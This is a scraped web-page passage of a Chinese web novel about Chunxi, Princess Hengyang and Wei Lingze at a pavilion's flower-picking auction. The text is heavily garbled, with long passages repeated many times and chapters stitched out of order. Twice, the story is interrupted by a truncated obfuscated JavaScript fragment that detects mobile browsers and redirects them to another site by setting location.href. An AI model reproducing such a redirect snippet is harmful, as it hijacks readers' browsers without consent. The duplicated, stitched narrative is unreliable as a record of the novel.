看着熟悉的流程,春喜忍不住多看了恒阳公主一眼。 驸马知道公主今日又是借踏青之名去无忧阁玩吗? 了! 沈清迟眼底几乎要喷出火来,春喜挑眉,疑惑开口:“妹妹这么瞪着我做什么?你二哥三哥都是赞同父亲续弦的,你难道不同意?” 春喜刚说完,清远侯便冷声斥道:“自甘**的东西,侯府的脸都被你丢完了,你有什么资格管老子的事?” 清远侯一开口,沈金花和吴氏也都数落起她的不是来。 不管怎么说,杳娘如今怀着身孕,能为侯府添丁进口那是好事,沈清迟身为外嫁女,就算有不满也得憋着。 众人你一言我一语地说着,沈清越和沈清宇并未帮沈清迟说话,最终沈清迟只能认错:“女儿不敢对父亲和继娘有什么不满,还请父亲和继娘恕罪。” 沈清迟认了错,杳娘帮着打了圆场,清远侯才没再生气。 吃完饭,春喜准备回家,快到大门口时,沈清迟追上来,红着眼瞪着她:“分府之后,大嫂就不管侯府的事了,如今却如此热心地帮那个狐狸精操办婚礼,大嫂心里应该很得意吧。” “对啊,我很得意,”春喜点头,毫不犹豫地承认,“你娘爬床上位,气死我夫君的娘,还霸占他娘留下来的嫁妆,苛待于他,如今你们遭了报应,也能尝尝被继娘压制的滋味儿,我得意**。” 春喜如此坦然,反倒让沈清迟噎住。 莫氏跟春喜不仅没有血缘关系,还多次刁难春喜,这些年对沈清渊也很不好,春喜要得意看他们笑话都是应该的。 不过很快,沈清迟就找到了新的说辞。 “你不是很喜欢钱吗,那个狐狸精没有娘家撑腰,一点儿嫁妆都没有,你帮忙操办婚礼,除了往里面贴钱什么都得不到。” “谁说我什么都得不到?” 春喜反问,不等沈清迟回答又道,“我身为侯府长媳,帮父亲和继娘操办婚礼,人人都会夸我和你大哥孝顺,这可是花钱都买不到的好名声,而且侯府有了新的主母,往后大小事务都可以由主母处置,我也能落得清闲,何乐而不为呢?” 那你之前为什么不帮帮我呢? 沈清迟很想追问,春喜却抢先一步道:“退一万步讲,就算我真的什么好处都捞不到,我也不会出头帮妹妹和二弟三弟去反对这门婚事,亲娘尸骨未寒,你们却连为自己的亲娘说句话都不敢,能花钱给你们添堵也算是做好事了。” “……” 沈清迟之前已经领略过春喜的翻脸无情,但今天还是被春喜的嘴毒到。 她刚刚还怒气冲冲,想要质问春喜,这会儿却被春喜看得无地自容,只能灰溜溜地离开。 元宵过后,天气渐暖,恒阳公主闲不住,派人给春喜送来帖子邀她踏青。 踏青这日,阳光明媚,春喜到城门口跟恒阳公主汇合,马车刚到,就看到了萧清禾。 和离之后,她改梳少女发髻,过了个年,她长胖了些,气色肉眼可见地好起来,眉眼柔润,瞧不出半点儿哀愁伤感。 看到春喜,萧清禾露出笑容:“小婶婶。” 恒阳公主也掀开帘子看过来:“阿喜你来得也太慢了,快上车。” 春喜晃晃手里的肉干和点心:“最近饿得快,我多带了些零嘴,所以来迟了些,还请公主殿下恕罪。” 恒阳公主并非真的生气,接过肉干尝了一口顿时眼前一亮:“这肉干好好吃,阿喜你回去再给我多做些。” “是。” 马车出城没多远,又有新的马车来接。 看着熟悉的流程,春喜忍不住多看了恒阳公主一眼。 驸马知道公主今日又是借踏青之名去无忧阁玩吗? 了! 沈清迟眼底几乎要喷出火来,春喜挑眉,疑惑开口:“妹妹这么瞪着我做什么?你二哥三哥都是赞同父亲续弦的,你难道不同意?” 春喜刚说完,清远侯便冷声斥道:“自甘**的东西,侯府的脸都被你丢完了,你有什么资格管老子的事?” 清远侯一开口,沈金花和吴氏也都数落起她的不是来。 不管怎么说,杳娘如今怀着身孕,能为侯府添丁进口那是好事,沈清迟身为外嫁女,就算有不满也得憋着。 众人你一言我一语地说着,沈清越和沈清宇并未帮沈清迟说话,最终沈清迟只能认错:“女儿不敢对父亲和继娘有什么不满,还请父亲和继娘恕罪。” 沈清迟认了错,杳娘帮着打了圆场,清远侯才没再生气。 吃完饭,春喜准备回家,快到大门口时,沈清迟追上来,红着眼瞪着她:“分府之后,大嫂就不管侯府的事了,如今却如此热心地帮那个狐狸精操办婚礼,大嫂心里应该很得意吧。” “对啊,我很得意,”春喜点头,毫不犹豫地承认,“你娘爬床上位,气死我夫君的娘,还霸占他娘留下来的嫁妆,苛待于他,如今你们遭了报应,也能尝尝被继娘压制的滋味儿,我得意**。” 春喜如此坦然,反倒让沈清迟噎住。 莫氏跟春喜不仅没有血缘关系,还多次刁难春喜,这些年对沈清渊也很不好,春喜要得意看他们笑话都是应该的。 不过很快,沈清迟就找到了新的说辞。 “你不是很喜欢钱吗,那个狐狸精没有娘家撑腰,一点儿嫁妆都没有,你帮忙操办婚礼,除了往里面贴钱什么都得不到。” “谁说我什么都得不到?” 春喜反问,不等沈清迟回答又道,“我身为侯府长媳,帮父亲和继娘操办婚礼,人人都会夸我和你大哥孝顺,这可是花钱都买不到的好名声,而且侯府有了新的主母,往后大小事务都可以由主母处置,我也能落得清闲,何乐而不为呢?” 那你之前为什么不帮帮我呢? 沈清迟很想追问,春喜却抢先一步道:“退一万步讲,就算我真的什么好处都捞不到,我也不会出头帮妹妹和二弟三弟去反对这门婚事,亲娘尸骨未寒,你们却连为自己的亲娘说句话都不敢,能花钱给你们添堵也算是做好事了。” “……” 沈清迟之前已经领略过春喜的翻脸无情,但今天还是被春喜的嘴毒到。 她刚刚还怒气冲冲,想要质问春喜,这会儿却被春喜看得无地自容,只能灰溜溜地离开。 元宵过后,天气渐暖,恒阳公主闲不住,派人给春喜送来帖子邀她踏青。 踏青这日,阳光明媚,春喜到城门口跟恒阳公主汇合,马车刚到,就看到了萧清禾。 和离之后,她改梳少女发髻,过了个年,她长胖了些,气色肉眼可见地好起来,眉眼柔润,瞧不出半点儿哀愁伤感。 看到春喜,萧清禾露出笑容:“小婶婶。” 恒阳公主也掀开帘子看过来:“阿喜你来得也太慢了,快上车。” 春喜晃晃手里的肉干和点心:“最近饿得快,我多带了些零嘴,所以来迟了些,还请公主殿下恕罪。” 恒阳公主并非真的生气,接过肉干尝了一口顿时眼前一亮:“这肉干好好吃,阿喜你回去再给我多做些。” “是。” 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踏青这日,阳光明媚,春喜到城门口跟恒阳公主汇合,马车刚到,就看到了萧清禾。 和离之后,她改梳少女发髻,过了个年,她长胖了些,气色肉眼可见地好起来,眉眼柔润,瞧不出半点儿哀愁伤感。 看到春喜,萧清禾露出笑容:“小婶婶。” 恒阳公主也掀开帘子看过来:“阿喜你来得也太慢了,快上车。” 春喜晃晃手里的肉干和点心:“最近饿得快,我多带了些零嘴,所以来迟了些,还请公主殿下恕罪。” 恒阳公主并非真的生气,接过肉干尝了一口顿时眼前一亮:“这肉干好好吃,阿喜你回去再给我多做些。” “是。” 马车出城没多远,又有新的马车来接。 看着熟悉的流程,春喜忍不住多看了恒阳公主一眼。 驸马知道公主今日又是借踏青之名去无忧阁玩吗? 了! 沈清迟眼底几乎要喷出火来,春喜挑眉,疑惑开口:“妹妹这么瞪着我做什么?你二哥三哥都是赞同父亲续弦的,你难道不同意?” 春喜刚说完,清远侯便冷声斥道:“自甘**的东西,侯府的脸都被你丢完了,你有什么资格管老子的事?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16122730|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >清远侯一开口,沈金花和吴氏也都数落起她的不是来。 不管怎么说,杳娘如今怀着身孕,能为侯府添丁进口那是好事,沈清迟身为外嫁女,就算有不满也得憋着。 众人你一言我一语地说着,沈清越和沈清宇并未帮沈清迟说话,最终沈清迟只能认错:“女儿不敢对父亲和继娘有什么不满,还请父亲和继娘恕罪。” 沈清迟认了错,杳娘帮着打了圆场,清远侯才没再生气。 吃完饭,春喜准备回家,快到大门口时,沈清迟追上来,红着眼瞪着她:“分府之后,大嫂就不管侯府的事了,如今却如此热心地帮那个狐狸精操办婚礼,大嫂心里应该很得意吧。” “对啊,我很得意,”春喜点头,毫不犹豫地承认,“你娘爬床上位,气死我夫君的娘,还霸占他娘留下来的嫁妆,苛待于他,如今你们遭了报应,也能尝尝被继娘压制的滋味儿,我得意**。” 春喜如此坦然,反倒让沈清迟噎住。 莫氏跟春喜不仅没有血缘关系,还多次刁难春喜,这些年对沈清渊也很不好,春喜要得意看他们笑话都是应该的。 不过很快,沈清迟就找到了新的说辞。 “你不是很喜欢钱吗,那个狐狸精没有娘家撑腰,一点儿嫁妆都没有,你帮忙操办婚礼,除了往里面贴钱什么都得不到。” “谁说我什么都得不到?” 春喜反问,不等沈清迟回答又道,“我身为侯府长媳,帮父亲和继娘操办婚礼,人人都会夸我和你大哥孝顺,这可是花钱都买不到的好名声,而且侯府有了新的主母,往后大小事务都可以由主母处置,我也能落得清闲,何乐而不为呢?” 那你之前为什么不帮帮我呢? 沈清迟很想追问,春喜却抢先一步道:“退一万步讲,就算我真的什么好处都捞不到,我也不会出头帮妹妹和二弟三弟去反对这门婚事,亲娘尸骨未寒,你们却连为自己的亲娘说句话都不敢,能花钱给你们添堵也算是做好事了。” “……” 沈清迟之前已经领略过春喜的翻脸无情,但今天还是被春喜的嘴毒到。 她刚刚还怒气冲冲,想要质问春喜,这会儿却被春喜看得无地自容,只能灰溜溜地离开。 元宵过后,天气渐暖,恒阳公主闲不住,派人给春喜送来帖子邀她踏青。 踏青这日,阳光明媚,春喜到城门口跟恒阳公主汇合,马车刚到,就看到了萧清禾。 和离之后,她改梳少女发髻,过了个年,她长胖了些,气色肉眼可见地好起来,眉眼柔润,瞧不出半点儿哀愁伤感。 看到春喜,萧清禾露出笑容:“小婶婶。” 恒阳公主也掀开帘子看过来:“阿喜你来得也太慢了,快上车。” 春喜晃晃手里的肉干和点心:“最近饿得快,我多带了些零嘴,所以来迟了些,还请公主殿下恕罪。” 恒阳公主并非真的生气,接过肉干尝了一口顿时眼前一亮:“这肉干好好吃,阿喜你回去再给我多做些。” “是。” 马车出城没多远,又有新的马车来接。 看着熟悉的流程,春喜忍不住多看了恒阳公主一眼。 驸马知道公主今日又是借踏青之名去无忧阁玩吗? 了! 沈清迟眼底几乎要喷出火来,春喜挑眉,疑惑开口:“妹妹这么瞪着我做什么?你二哥三哥都是赞同父亲续弦的,你难道不同意?” 春喜刚说完,清远侯便冷声斥道:“自甘**的东西,侯府的脸都被你丢完了,你有什么资格管老子的事?” 清远侯一开口,沈金花和吴氏也都数落起她的不是来。 不管怎么说,杳娘如今怀着身孕,能为侯府添丁进口那是好事,沈清迟身为外嫁女,就算有不满也得憋着。 众人你一言我一语地说着,沈清越和沈清宇并未帮沈清迟说话,最终沈清迟只能认错:“女儿不敢对父亲和继娘有什么不满,还请父亲和继娘恕罪。” 沈清迟认了错,杳娘帮着打了圆场,清远侯才没再生气。 吃完饭,春喜准备回家,快到大门口时,沈清迟追上来,红着眼瞪着她:“分府之后,大嫂就不管侯府的事了,如今却如此热心地帮那个狐狸精操办婚礼,大嫂心里应该很得意吧。” “对啊,我很得意,”春喜点头,毫不犹豫地承认,“你娘爬床上位,气死我夫君的娘,还霸占他娘留下来的嫁妆,苛待于他,如今你们遭了报应,也能尝尝被继娘压制的滋味儿,我得意**。” 春喜如此坦然,反倒让沈清迟噎住。 莫氏跟春喜不仅没有血缘关系,还多次刁难春喜,这些年对沈清渊也很不好,春喜要得意看他们笑话都是应该的。 不过很快,沈清迟就找到了新的说辞。 “你不是很喜欢钱吗,那个狐狸精没有娘家撑腰,一点儿嫁妆都没有,你帮忙操办婚礼,除了往里面贴钱什么都得不到。” “谁说我什么都得不到?” 春喜反问,不等沈清迟回答又道,“我身为侯府长媳,帮父亲和继娘操办婚礼,人人都会夸我和你大哥孝顺,这可是花钱都买不到的好名声,而且侯府有了新的主母,往后大小事务都可以由主母处置,我也能落得清闲,何乐而不为呢?” 那你之前为什么不帮帮我呢? 沈清迟很想追问,春喜却抢先一步道:“退一万步讲,就算我真的什么好处都捞不到,我也不会出头帮妹妹和二弟三弟去反对这门婚事,亲娘尸骨未寒,你们却连为自己的亲娘说句话都不敢,能花钱给你们添堵也算是做好事了。” “……” 沈清迟之前已经领略过春喜的翻脸无情,但今天还是被春喜的嘴毒到。 她刚刚还怒气冲冲,想要质问春喜,这会儿却被春喜看得无地自容,只能灰溜溜地离开。 元宵过后,天气渐暖,恒阳公主闲不住,派人给春喜送来帖子邀她踏青。 踏青这日,阳光明媚,春喜到城门口跟恒阳公主汇合,马车刚到,就看到了萧清禾。 和离之后,她改梳少女发髻,过了个年,她长胖了些,气色肉眼可见地好起来,眉眼柔润,瞧不出半点儿哀愁伤感。 看到春喜,萧清禾露出笑容:“小婶婶。” 恒阳公主也掀开帘子看过来:“阿喜你来得也太慢了,快上车。” 春喜晃晃手里的肉干和点心:“最近饿得快,我多带了些零嘴,所以来迟了些,还请公主殿下恕罪。” 恒阳公主并非真的生气,接过肉干尝了一口顿时眼前一亮:“这肉干好好吃,阿喜你回去再给我多做些。” “是。” 马车出城没多远,又有新的马车来接。 看着熟悉的流程,春喜忍不住多看了恒阳公主一眼。 驸马知道公主今日又是借踏青之名去无忧阁玩吗? 了! 沈清迟眼底几乎要喷出火来,春喜挑眉,疑惑开口:“妹妹这么瞪着我做什么?你二哥三哥都是赞同父亲续弦的,你难道不同意?” 春喜刚说完,清远侯便冷声斥道:“自甘**的东西,侯府的脸都被你丢完了,你有什么资格管老子的事?” 清远侯一开口,沈金花和吴氏也都数落起她的不是来。 不管怎么说,杳娘如今怀着身孕,能为侯府添丁进口那是好事,沈清迟身为外嫁女,就算有不满也得憋着。 众人你一言我一语地说着,沈清越和沈清宇并未帮沈清迟说话,最终沈清迟只能认错:“女儿不敢对父亲和继娘有什么不满,还请父亲和继娘恕罪。” 沈清迟认了错,杳娘帮着打了圆场,清远侯才没再生气。 吃完饭,春喜准备回家,快到大门口时,沈清迟追上来,红着眼瞪着她:“分府之后,大嫂就不管侯府的事了,如今却如此热心地帮那个狐狸精操办婚礼,大嫂心里应该很得意吧。” “对啊,我很得意,”春喜点头,毫不犹豫地承认,“你娘爬床上位,气死我夫君的娘,还霸占他娘留下来的嫁妆,苛待于他,如今你们遭了报应,也能尝尝被继娘压制的滋味儿,我得意**。” 春喜如此坦然,反倒让沈清迟噎住。 莫氏跟春喜不仅没有血缘关系,还多次刁难春喜,这些年对沈清渊也很不好,春喜要得意看他们笑话都是应该的。 不过很快,沈清迟就找到了新的说辞。 “你不是很喜欢钱吗,那个狐狸精没有娘家撑腰,一点儿嫁妆都没有,你帮忙操办婚礼,除了往里面贴钱什么都得不到。” “谁说我什么都得不到?” 春喜反问,不等沈清迟回答又道,“我身为侯府长媳,帮父亲和继娘操办婚礼,人人都会夸我和你大哥孝顺,这可是花钱都买不到的好名声,而且侯府有了新的主母,往后大小事务都可以由主母处置,我也能落得清闲,何乐而不为呢?” 那你之前为什么不帮帮我呢? 沈清迟很想追问,春喜却抢先一步道:“退一万步讲,就算我真的什么好处都捞不到,我也不会出头帮妹妹和二弟三弟去反对这门婚事,亲娘尸骨未寒,你们却连为自己的亲娘说句话都不敢,能花钱给你们添堵也算是做好事了。” “……” 沈清迟之前已经领略过春喜的翻脸无情,但今天还是被春喜的嘴毒到。 她刚刚还怒气冲冲,想要质问春喜,这会儿却被春喜看得无地自容,只能灰溜溜地离开。 元宵过后,天气渐暖,恒阳公主闲不住,派人给春喜送来帖子邀她踏青。 踏青这日,阳光明媚,春喜到城门口跟恒阳公主汇合,马车刚到,就看到了萧清禾。 和离之后,她改梳少女发髻,过了个年,她长胖了些,气色肉眼可见地好起来,眉眼柔润,瞧不出半点儿哀愁伤感。 看到春喜,萧清禾露出笑容:“小婶婶。” 恒阳公主也掀开帘子看过来:“阿喜你来得也太慢了,快上车。” 春喜晃晃手里的肉干和点心:“最近饿得快,我多带了些零嘴,所以来迟了些,还请公主殿下恕罪。” 恒阳公主并非真的生气,接过肉干尝了一口顿时眼前一亮:“这肉干好好吃,阿喜你回去再给我多做些。” “是。” 马车出城没多远,又有新的马车来接。 看着熟悉的流程,春喜忍不住多看了恒阳公主一眼。 驸马知道公主今日又是借踏青之名去无忧阁玩吗? 第283章 你觉得我值什么价? 无忧阁这次选的地方在城外一处花圃。 花圃培植了各式的花木才刚开春园中已是郁郁葱葱百花待放。 无忧阁的人事先来布置了一番利用花木和帘帐隔出一个个私密的小空间既赏心悦目又能保护客人的身份不被泄露。 春喜她们刚摘下帏帽落座岚舒就来了:“好些日子不见三位贵客容光焕发越来越光彩夺目了。” 岚舒脸上挂着惯有的温和笑意说出来的话也很让人开心。 直到看到岚舒萧清禾才意识到恒阳公主今日不仅仅是带她们来踏青这么简单但如今她已恢复自由身且跟岚舒打过几次交道很快就镇定下来。 “你这张嘴见了谁不得夸一句好看呀”恒阳公主笑着回了一句懒洋洋地问“今天他们比什么有什么精彩的表演吗?” 岚舒立刻介绍:“今日比摘花贵客若有喜欢的可出价买花这次活动阁里筹备了差不多两个月保证不会让贵客失望。” 恒阳公主点点头心里生出期待。 自从决定留下这个孩子温砚书就开始寸步不离地守着她除夕进宫母后和皇嫂知道她怀孕后更是再三叮嘱好多事都不许她做。 虽说大家都是为了她和孩子好但她就是莫名觉得憋闷不高兴好像她往后的人生都得围着这个孩子转才行。 今日和春喜她们一起出来看着美景等着表演 说话间岚舒生起炉子开始煮茶。 很快他听到春喜关切的声音:“公子的手受伤了吗?” 岚舒有些意外。 煮茶之事他早已炉火纯青哪怕是一只手也毫不影响今天他接待的客人很多只有春喜看出他受伤了。 岚舒怔愣了下而后弯眸:“谢贵客关心之前有人来阁里**受了一点儿小伤没什么大碍。” 恒阳公主好奇地抬头:“什么人这么大胆竟敢来无忧阁**?” 恒阳公主是为数不多知道无忧阁背后的靠山其实是太子的人这也是她喜欢来无忧阁找乐子的原因。 岚舒没有说出卫凌泽的名字温声道:“就是一个喝醉了**的客人幸好阁主身手好有阁主在便是有人**也不怕。” 无忧阁的规矩是不会透露客人消息的恒阳公主没再追问**的人只问:“对呀你家阁主呢怎么没见到他今日他也会表演摘花吗?” 见过萧夜辰舞剑之后恒阳公主一直念念不忘要 是萧夜辰今日能表演一个用剑摘花一定很精彩。 “阁主今日有事,并未在此,而且阁主向来都是不会亲自登台表演的,那晚舞剑是因为出了点突发情况,阁主才不得已而为之。” 岚舒没有看春喜和萧清禾,但听到他这话,春喜立刻明白,萧夜辰那夜是为了让岚舒有时间掩护她们离开,不被卫凌泽发现才登台舞剑的。 恒阳公主并不知道内情,只是有些失望道:“可惜了,也不知道以后还能不能看到他舞剑。” “人生漫漫,以后的事谁也说不定。” 岚舒笑着回答,煮好茶起身离开。 他转了一圈,把今日来的客人都招待了一番,最后才回到卫凌泽所在的帐中。 帐内燃着香,卫凌泽姿态慵懒地靠坐在椅背上,他阖着眼,像是睡着了,但一听到岚舒的脚步声,立刻又睁开眼看过来。 他眼神有些迷离,片刻后才开口:“你可真忙,无忧阁离了你是会垮掉吗?” 那夜岚舒为他断了一指,卫凌泽一句感谢的话都没有,但过了几日,又来无忧阁找岚舒询问萧夜辰的情况。 岚舒就是个滚刀肉,说来说去都是废话,卫凌泽一点儿消息都没打听到,倒是养成了来找岚舒聊天的习惯。 岚舒说的虽然都是废话,但态度始终是恭敬讨好的,不像家里,卫家所有人现在看到他都要说教一番,要他振作,还要他找到机会挽回颜面。 别人嘴皮子一碰就说出来的话,却要他付出许多努力去达成,谁又知道他的辛苦呢?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132987|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 卫凌泽的语气有些阴阳怪气,岚舒点点头,顺着他的话说:“小人虽然身份低微,但对无忧阁还是挺重要的。” 说着话,外面有笛声传来,第一位摘花郎出场了。 卫凌泽对外面的表演不感兴趣,他见岚舒在拨弄香炉,沉沉问:“这香怎么卖的?” 这几次来找岚舒聊完天,闻着这香卫凌泽都能睡个好觉,甚至在刚刚,他还做了一场美梦,不免想要买一些回家用。 岚舒手上动作不停,温声道:“此香名为逍遥,是前不久才研制出来的新品,整个昭陵只有无忧阁有,但有一味香料十分难得,只够供阁里使用,并不对外售卖。” 卫凌泽对岚舒的回答不满意,皱眉道:“物以稀为贵,你这么说不就是想多卖点儿钱吗,说个价。” “一钱香要十两金。” 岚舒如实回答,卫凌泽听完笑出声:“一钱香十两金,你怎么不直接去抢?” “无忧阁的买卖向来都讲究你情我愿,公子觉得价格太贵可以不买。” 岚舒的意思是无忧阁不会强买强卖,落在卫凌泽耳中却像是说他买不起,他大手一挥,朗声道:“买!” 千金难买他高兴,不过十两金而已,他买得起。 卫凌泽给了银票,岚舒取来一个小小的青绿瓷瓶给他。 与此同时,第一位摘花郎吹完一曲,用笛子摘下一朵含苞待放的迎春花,众人开始出价竞拍。 岚舒正要出去主持竞拍,把玩着瓷瓶的卫凌泽突然开口:“你说我要是去摘花,那些女人会给我出什么价?” 岚舒:“……” 我以为你刚刚就醒了,原来你是被这香夺魂了啊。 岚舒不动声色地灭了香炉,温声道:“公子身份尊贵,断然不能屈尊降贵做这种事。” 卫凌泽眼皮微掀,眸子森寒:“怎么,你觉得我比不过这些小倌?” “……” 不是,你跟他们有什么好比的? 第284章 卫家列祖列宗的棺材板儿还压得住吗? 第一位摘花郎表演结束,众人纷纷出价竞拍,恒阳公主偏头问萧清禾:“禾儿觉得这个人怎么样,可要叫过来仔细看看?” 萧清禾连忙摇头:“谢公主好意,不过不用了,我这样看看表演就可以了。” 恒阳公主只当她害羞,开解道:“来都来了,光看有什么意思,我跟你小婶婶这是怀着孕没有法子,你如今已是自由身,做什么都是可以的。” 恒阳公主说得直白又豪横,萧清禾忍不住脸红,求助地看向春喜,春喜轻咳一声辩解:“公主,臣妇其实挺恪守妇道的。” 就算没有怀孕,她也只是凑凑热闹,不会生出别的心思。 春喜说完又问:“公主怎么突然想起要找乐子了,可是驸马做了什么惹公主不快了?” 听到春喜提起驸马,恒阳公主的表情有些不自然,她垂眸避开春喜的目光,生硬地回答:“本公主现在怀着身孕,他恨不得把本公主当菩萨供起来,哪敢做什么事惹本公主不快?” 只不过之前她说要去父留子,这个狗东西好像当真了,恒阳公主前两日无意中在书房发现了盖好私印的和离书。 这狗东西还真打算等她生完孩子就自请和离! 恒阳公主有点慌,但又拉不下脸来挽留。 公主府多的是人抢着带孩子,她又不是离了这个狗东西不行,就算和离了,以她的身份地位,再招个年轻好看的驸马也不是难事。 就是这狗东西的皮相实在是太好了,要想找个比他更好看的还真有点儿难。 春喜已经知道恒阳公主口是心非的毛病,但她不愿意多说,春喜也没再追问。 很快,又有几位郎君依次出场表演才艺,他们或唱歌,或舞蹈,各有所长,瞧着确实赏心悦目,不过不知道是不是被驸马的美貌提高了品味,春喜并没有被惊艳到。 正觉无聊犯困时,一个戴着面具、拿着剑的黑衣男子缓缓走了出来。 春喜准备打哈欠的嘴僵住,下意识地去看萧清禾,正好对上萧清禾惊诧不已的目光。 恒阳公主小声嘀咕:“咦?岚舒刚刚不是说他们阁主不轻易表演吗,怎么又出来了?” 这个人不是萧夜辰! 春喜和萧清禾同时在心里否认。 虽然那面具完全挡住了脸,只露出一双眼睛,但从走路的姿态可以断定,站在她们面前的人是卫凌泽。 无忧阁的小倌表演才艺摘花那是为了取悦恩客把自己卖个好价钱,卫凌泽就算受了打击,也不至于需要来无忧阁出卖色相吧 ? 春喜和萧清禾虽然认出了卫凌泽,但因为这件事太过匪夷所思,一时都有些不敢相信。 花丛之中,卫凌泽已利落地舞起剑来。 之前冬猎他虽输得一塌糊涂,但一身气势远比无忧阁的小倌强多了,没有比试的压力,这剑也被他舞得得心应手,花木枝叶在他身周翻飞旋转,瞧着好看极了。 “我就说嘛,其他人比他差远了。” 恒阳公主啧了一声,不等卫凌泽表演结束,就摇铃出价。 萧清禾下意识地阻止:“公主殿下,不可!” 虽说她和卫凌泽已经和离,但在这种场合相见,不仅尴尬,还会生出事端来。 恒阳公主并未认出卫凌泽,听到萧清禾阻止,疑惑地问:“怎么了,你跟阁主吵架了?他之前不是对你很好吗?你嫌弃他出身低?” “我没有嫌弃……” 萧清禾否认,不知该怎么解释,春喜帮着开口:“公主认错了,这人不是阁主,公主若是不信,把岚舒公子叫来一问便知。” 恒阳公主不以为意:“何必叫岚舒,本公主直接出钱把他叫过来问话就好了。” 这时卫凌泽正好舞剑结束,最后收势时,他手腕一翻,剑尖稳稳挑了一朵含苞待放的月季。 结束的姿势相当好看,一时间有好几个客人争相出价,恒阳公主也不敢落后,直接加价到五千两,春喜和萧清禾皆是眼皮一跳,正犹豫要不要告诉恒阳公主真相,摇铃声传来,有人出价一万两。 “嘿,竟然有人比本公主还财大气粗。” 恒阳公主倔脾气上来,还要继续加价,春喜连忙拦住她:“公主,不过是个小倌,为他花一万两不值得,而且他还戴着面具,说不定长得很丑呢。” “可他舞剑好看,如果脸真的长得很丑,一会儿再让他把面具戴上就好了。” 恒阳公主不以为意,春喜还想再劝,花丛之中,卫凌泽转身离开。 他并不是要接客,不过是想证明自己魅力仍在,多的是女人为他痴狂,禾儿也终究会回到他身边。 然而他刚走了两步,便有七八个护卫上前,将他团团围住:“我家主子看上你了,还出了一万两拍下你,按照规矩,你得去见我们主子。” 岚舒及时出现:“诸位,这位是我们阁主,他刚刚只是来了兴致,给大家助助兴,阁主是不待客的。” “上次你们也是这么搪塞我们主子的,我们主子说了,他既然要出来献艺,那就得守无忧阁的规矩!” 话音落下,几人直接拔剑,大有卫凌泽不跟他们走,他们就要强行把他带走的架势。 “诸位别急,今日之事都是小人不好,不如这样,小人随诸位去赔罪……” 岚舒试图从中调和,卫凌泽却已经不耐烦,他直接推开岚舒,提剑和这几个人打了起来。 和舞剑时的唯美不同,卫凌泽心中戾气翻涌,出手都是杀招,不过片刻,便有一人死在他的剑下。 那几名护卫没想到无忧阁的人竟敢出手**,也都不再留有余力,在几人的**之下,卫凌泽的面具很快被打落。 在他的真容露出来的那一刻,春喜听到了不同方位传来的好几声惊呼,被她拦住没能继续出价的恒阳公主更是瞪大了眼睛。 “卫凌泽?本公主的眼睛没出问题吧,卫凌泽竟然跑到无忧阁来卖艺了,卫家列祖列宗的棺材板儿还压得住吗?” 春喜:“……” 萧清禾:“……” ? 春喜和萧清禾虽然认出了卫凌泽,但因为这件事太过匪夷所思,一时都有些不敢相信。 花丛之中,卫凌泽已利落地舞起剑来。 之前冬猎他虽输得一塌糊涂,但一身气势远比无忧阁的小倌强多了,没有比试的压力,这剑也被他舞得得心应手,花木枝叶在他身周翻飞旋转,瞧着好看极了。 “我就说嘛,其他人比他差远了。” 恒阳公主啧了一声,不等卫凌泽表演结束,就摇铃出价。 萧清禾下意识地阻止:“公主殿下,不可!” 虽说她和卫凌泽已经和离,但在这种场合相见,不仅尴尬,还会生出事端来。 恒阳公主并未认出卫凌泽,听到萧清禾阻止,疑惑地问:“怎么了,你跟阁主吵架了?他之前不是对你很好吗?你嫌弃他出身低?” “我没有嫌弃……” 萧清禾否认,不知该怎么解释,春喜帮着开口:“公主认错了,这人不是阁主,公主若是不信,把岚舒公子叫来一问便知。” 恒阳公主不以为意:“何必叫岚舒,本公主直接出钱把他叫过来问话就好了。” 这时卫凌泽正好舞剑结束,最后收势时,他手腕一翻,剑尖稳稳挑了一朵含苞待放的月季。 结束的姿势相当好看,一时间有好几个客人争相出价,恒阳公主也不敢落后,直接加价到五千两,春喜和萧清禾皆是眼皮一跳,正犹豫要不要告诉恒阳公主真相,摇铃声传来,有人出价一万两。 “嘿,竟然有人比本公主还财大气粗。” 恒阳公主倔脾气上来,还要继续加价,春喜连忙拦住她:“公主,不过是个小倌,为他花一万两不值得,而且他还戴着面具,说不定长得很丑呢。” “可他舞剑好看,如果脸真的长得很丑,一会儿再让他把面具戴上就好了。” 恒阳公主不以为意,春喜还想再劝,花丛之中,卫凌泽转身离开。 他并不是要接客,不过是想证明自己魅力仍在,多的是女人为他痴狂,禾儿也终究会回到他身边。 然而他刚走了两步,便有七八个护卫上前,将他团团围住:“我家主子看上你了,还出了一万两拍下你,按照规矩,你得去见我们主子。” 岚舒及时出现:“诸位,这位是我们阁主,他刚刚只是来了兴致,给大家助助兴,阁主是不待客的。” “上次你们也是这么搪塞我们主子的,我们主子说了,他既然要出来献艺,那就得守无忧阁的规矩!” 话音落下,几人直接拔剑,大有卫凌泽不跟他们走,他们就要强行把他带走的架势。 “诸位别急,今日之事都是小人不好,不如这样,小人随诸位去赔罪……” 岚舒试图从中调和,卫凌泽却已经不耐烦,他直接推开岚舒,提剑和这几个人打了起来。 和舞剑时的唯美不同,卫凌泽心中戾气翻涌,出手都是杀招,不过片刻,便有一人死在他的剑下。 那几名护卫没想到无忧阁的人竟敢出手**,也都不再留有余力,在几人的**之下,卫凌泽的面具很快被打落。 在他的真容露出来的那一刻,春喜听到了不同方位传来的好几声惊呼,被她拦住没能继续出价的恒阳公主更是瞪大了眼睛。 